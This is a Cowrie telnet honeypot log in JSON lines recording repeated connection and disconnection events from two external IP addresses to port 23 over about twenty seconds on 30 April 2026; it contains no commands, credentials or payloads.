{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39518,"dst_ip":"10.17.0.5","dst_port":23,"session":"591b50c9e153","protocol":"telnet","message":"New connection: 64.237.60.107:39518 (10.17.0.5:23) [session: 591b50c9e153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:52.305597Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39520,"dst_ip":"10.17.0.5","dst_port":23,"session":"8663d8a18c1c","protocol":"telnet","message":"New connection: 64.237.60.107:39520 (10.17.0.5:23) [session: 8663d8a18c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:52.785028Z"}
{"eventid":"cowrie.session.closed","duration":30.725667238235474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.087586Z","src_ip":"64.237.60.107","session":"b496d3515b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"72aadf463820","protocol":"telnet","message":"New connection: 64.237.60.107:39528 (10.17.0.5:23) [session: 72aadf463820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.153273Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39542,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51109608ad5","protocol":"telnet","message":"New connection: 64.237.60.107:39542 (10.17.0.5:23) [session: e51109608ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.191492Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39544,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d07b892d100","protocol":"telnet","message":"New connection: 64.237.60.107:39544 (10.17.0.5:23) [session: 0d07b892d100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.268775Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39548,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcffeae150b4","protocol":"telnet","message":"New connection: 64.237.60.107:39548 (10.17.0.5:23) [session: dcffeae150b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.286866Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39562,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4a40bc5354","protocol":"telnet","message":"New connection: 64.237.60.107:39562 (10.17.0.5:23) [session: ac4a40bc5354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.424706Z"}
{"eventid":"cowrie.session.closed","duration":31.392282962799072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.784269Z","src_ip":"64.237.60.107","session":"f430f3787ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39564,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c180cd3d7d","protocol":"telnet","message":"New connection: 64.237.60.107:39564 (10.17.0.5:23) [session: a2c180cd3d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:53.800722Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":42144,"dst_ip":"10.17.0.5","dst_port":23,"session":"91950e3be6a1","protocol":"telnet","message":"New connection: 45.77.199.58:42144 (10.17.0.5:23) [session: 91950e3be6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:54.036917Z"}
{"eventid":"cowrie.session.closed","duration":30.917749643325806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:54.043319Z","src_ip":"45.77.199.58","session":"78b59046287f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39572,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dbac969ffc5","protocol":"telnet","message":"New connection: 64.237.60.107:39572 (10.17.0.5:23) [session: 9dbac969ffc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:54.194512Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39578,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7340577d6d","protocol":"telnet","message":"New connection: 64.237.60.107:39578 (10.17.0.5:23) [session: 2b7340577d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:55.177671Z"}
{"eventid":"cowrie.session.closed","duration":31.056244134902954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:55.328708Z","src_ip":"64.237.60.107","session":"015b1ce7cc1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39594,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6aa6ee3fd5","protocol":"telnet","message":"New connection: 64.237.60.107:39594 (10.17.0.5:23) [session: 9f6aa6ee3fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:55.489349Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39604,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5fc8d63587","protocol":"telnet","message":"New connection: 64.237.60.107:39604 (10.17.0.5:23) [session: af5fc8d63587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:55.649850Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"03800e57043a","protocol":"telnet","message":"New connection: 45.77.199.58:42148 (10.17.0.5:23) [session: 03800e57043a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:55.943244Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6e1ce54d16c","protocol":"telnet","message":"New connection: 45.77.199.58:42158 (10.17.0.5:23) [session: b6e1ce54d16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.004847Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d87e4651decf","protocol":"telnet","message":"New connection: 64.237.60.107:39616 (10.17.0.5:23) [session: d87e4651decf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.038057Z"}
{"eventid":"cowrie.session.closed","duration":30.33372139930725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.102973Z","src_ip":"45.77.199.58","session":"c5228f527940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114487171173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.107960Z","src_ip":"45.77.199.58","session":"7d5d4a058766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffca11308017","protocol":"telnet","message":"New connection: 64.237.60.107:39624 (10.17.0.5:23) [session: ffca11308017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.283480Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39636,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b5a06c776a","protocol":"telnet","message":"New connection: 64.237.60.107:39636 (10.17.0.5:23) [session: e5b5a06c776a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.445971Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49584,"dst_ip":"10.17.0.5","dst_port":23,"session":"e528a8ca2859","protocol":"telnet","message":"New connection: 64.237.60.107:49584 (10.17.0.5:23) [session: e528a8ca2859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:56.546893Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49600,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f78dbc4596","protocol":"telnet","message":"New connection: 64.237.60.107:49600 (10.17.0.5:23) [session: f4f78dbc4596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.123054Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b83667827c","protocol":"telnet","message":"New connection: 64.237.60.107:49614 (10.17.0.5:23) [session: c6b83667827c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.223675Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9e169be1bf","protocol":"telnet","message":"New connection: 64.237.60.107:49626 (10.17.0.5:23) [session: 8c9e169be1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.437343Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1c8a0c7184","protocol":"telnet","message":"New connection: 64.237.60.107:49638 (10.17.0.5:23) [session: ec1c8a0c7184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.453162Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8fe47690fb6","protocol":"telnet","message":"New connection: 64.237.60.107:49654 (10.17.0.5:23) [session: f8fe47690fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.494606Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49660,"dst_ip":"10.17.0.5","dst_port":23,"session":"2801e9c40569","protocol":"telnet","message":"New connection: 64.237.60.107:49660 (10.17.0.5:23) [session: 2801e9c40569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:57.686030Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49670,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b052e314d19","protocol":"telnet","message":"New connection: 64.237.60.107:49670 (10.17.0.5:23) [session: 6b052e314d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:58.444392Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf62f23d8f7","protocol":"telnet","message":"New connection: 64.237.60.107:49676 (10.17.0.5:23) [session: fcf62f23d8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:59.030285Z"}
{"eventid":"cowrie.session.closed","duration":30.9357168674469,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:59.100647Z","src_ip":"64.237.60.107","session":"5998688fd029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb12543b644","protocol":"telnet","message":"New connection: 64.237.60.107:49684 (10.17.0.5:23) [session: 8bb12543b644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:59.426880Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49698,"dst_ip":"10.17.0.5","dst_port":23,"session":"d42e48544921","protocol":"telnet","message":"New connection: 64.237.60.107:49698 (10.17.0.5:23) [session: d42e48544921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:59.997233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7f83bd89f0","protocol":"telnet","message":"New connection: 64.237.60.107:49712 (10.17.0.5:23) [session: 8e7f83bd89f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:00.118782Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49716,"dst_ip":"10.17.0.5","dst_port":23,"session":"b75814bd4350","protocol":"telnet","message":"New connection: 64.237.60.107:49716 (10.17.0.5:23) [session: b75814bd4350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:00.485673Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"68411f77399f","protocol":"telnet","message":"New connection: 64.237.60.107:49730 (10.17.0.5:23) [session: 68411f77399f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:00.867109Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49738,"dst_ip":"10.17.0.5","dst_port":23,"session":"914e2a2a29ec","protocol":"telnet","message":"New connection: 64.237.60.107:49738 (10.17.0.5:23) [session: 914e2a2a29ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:01.161868Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6133a0f2aa2","protocol":"telnet","message":"New connection: 64.237.60.107:49754 (10.17.0.5:23) [session: c6133a0f2aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:01.342901Z"}
{"eventid":"cowrie.session.closed","duration":30.873417139053345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:02.188627Z","src_ip":"45.77.199.58","session":"b33c3f87bf6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37a012290a8","protocol":"telnet","message":"New connection: 64.237.60.107:49768 (10.17.0.5:23) [session: f37a012290a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:02.283051Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":42168,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d444fbe6f7d","protocol":"telnet","message":"New connection: 45.77.199.58:42168 (10.17.0.5:23) [session: 6d444fbe6f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:02.320498Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7bb1e20cb1","protocol":"telnet","message":"New connection: 64.237.60.107:49770 (10.17.0.5:23) [session: 7d7bb1e20cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:02.331620Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49778,"dst_ip":"10.17.0.5","dst_port":23,"session":"14317007a23f","protocol":"telnet","message":"New connection: 64.237.60.107:49778 (10.17.0.5:23) [session: 14317007a23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:02.974315Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5cb2ef42401","protocol":"telnet","message":"New connection: 64.237.60.107:49782 (10.17.0.5:23) [session: b5cb2ef42401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:03.879621Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49794,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99f53acabec","protocol":"telnet","message":"New connection: 64.237.60.107:49794 (10.17.0.5:23) [session: f99f53acabec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.026398Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49798,"dst_ip":"10.17.0.5","dst_port":23,"session":"4abfd6d0e2a8","protocol":"telnet","message":"New connection: 64.237.60.107:49798 (10.17.0.5:23) [session: 4abfd6d0e2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.033205Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49810,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed4ab7a9a6f","protocol":"telnet","message":"New connection: 64.237.60.107:49810 (10.17.0.5:23) [session: eed4ab7a9a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.118829Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"502f226c191c","protocol":"telnet","message":"New connection: 45.77.199.58:50968 (10.17.0.5:23) [session: 502f226c191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.239964Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"2890ef9dcd58","protocol":"telnet","message":"New connection: 45.77.199.58:50974 (10.17.0.5:23) [session: 2890ef9dcd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.249081Z"}
{"eventid":"cowrie.session.closed","duration":30.881086111068726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.418557Z","src_ip":"64.237.60.107","session":"03c3e55b557e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49826,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ea5f8954089","protocol":"telnet","message":"New connection: 64.237.60.107:49826 (10.17.0.5:23) [session: 0ea5f8954089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:05.474952Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":49832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec03794d0ebf","protocol":"telnet","message":"New connection: 64.237.60.107:49832 (10.17.0.5:23) [session: ec03794d0ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:06.030455Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50980,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2cabf587fcd","protocol":"telnet","message":"New connection: 45.77.199.58:50980 (10.17.0.5:23) [session: c2cabf587fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:06.101209Z"}
{"eventid":"cowrie.session.closed","duration":30.972144603729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:06.479192Z","src_ip":"64.237.60.107","session":"c3b54bce2a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16049313545227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:07.028852Z","src_ip":"64.237.60.107","session":"df681bf0a9e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95602560043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:07.138868Z","src_ip":"64.237.60.107","session":"f812d1cee344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44474,"dst_ip":"10.17.0.5","dst_port":23,"session":"95314196506a","protocol":"telnet","message":"New connection: 64.237.60.107:44474 (10.17.0.5:23) [session: 95314196506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:07.618943Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50984,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d05f3ab770","protocol":"telnet","message":"New connection: 45.77.199.58:50984 (10.17.0.5:23) [session: 19d05f3ab770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:07.819017Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44476,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5bfa185808","protocol":"telnet","message":"New connection: 64.237.60.107:44476 (10.17.0.5:23) [session: 8e5bfa185808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:08.160094Z"}
{"eventid":"cowrie.session.closed","duration":30.9462673664093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:09.065805Z","src_ip":"45.77.199.58","session":"2d1a1e9e8a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50994,"dst_ip":"10.17.0.5","dst_port":23,"session":"3912d30d4b88","protocol":"telnet","message":"New connection: 45.77.199.58:50994 (10.17.0.5:23) [session: 3912d30d4b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:09.258895Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44480,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e0f83de2f2","protocol":"telnet","message":"New connection: 64.237.60.107:44480 (10.17.0.5:23) [session: d7e0f83de2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:09.377001Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44482,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffeb1c1eab07","protocol":"telnet","message":"New connection: 64.237.60.107:44482 (10.17.0.5:23) [session: ffeb1c1eab07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:09.571791Z"}
{"eventid":"cowrie.session.closed","duration":30.630751848220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.032487Z","src_ip":"64.237.60.107","session":"1c222e4fb068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71605396270752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.057788Z","src_ip":"64.237.60.107","session":"8b38aff69cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44486,"dst_ip":"10.17.0.5","dst_port":23,"session":"174ded4ab2b1","protocol":"telnet","message":"New connection: 64.237.60.107:44486 (10.17.0.5:23) [session: 174ded4ab2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.200475Z"}
{"eventid":"cowrie.session.closed","duration":30.971107006072998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.205626Z","src_ip":"64.237.60.107","session":"de7eb3717796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014094591140747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.314794Z","src_ip":"64.237.60.107","session":"e8e3e2039d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101600646972656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:10.361502Z","src_ip":"64.237.60.107","session":"5817432947e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.190233945846558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:11.142559Z","src_ip":"64.237.60.107","session":"02b042094646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06dcb4613bf","protocol":"telnet","message":"New connection: 45.77.199.58:51000 (10.17.0.5:23) [session: e06dcb4613bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:11.179059Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":51006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b058cfa6b49","protocol":"telnet","message":"New connection: 45.77.199.58:51006 (10.17.0.5:23) [session: 3b058cfa6b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:11.309648Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44502,"dst_ip":"10.17.0.5","dst_port":23,"session":"40cd891ae8f2","protocol":"telnet","message":"New connection: 64.237.60.107:44502 (10.17.0.5:23) [session: 40cd891ae8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:11.636232Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44508,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3024ec0104","protocol":"telnet","message":"New connection: 64.237.60.107:44508 (10.17.0.5:23) [session: cb3024ec0104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:11.946038Z"}
